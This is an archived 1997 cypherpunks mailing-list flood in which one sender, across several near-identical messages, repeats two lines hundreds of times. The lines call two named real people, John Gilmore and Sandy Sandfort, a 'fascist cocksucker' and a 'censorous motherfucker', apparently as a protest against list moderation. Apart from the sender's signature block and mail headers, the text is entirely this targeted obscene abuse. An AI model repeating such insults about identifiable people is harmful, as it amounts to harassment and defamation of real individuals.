Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771076.522445.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771165.523242.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770995.521770.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771172.523302.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771123.522865.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771145.523055.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771049.522247.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770987.521705.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
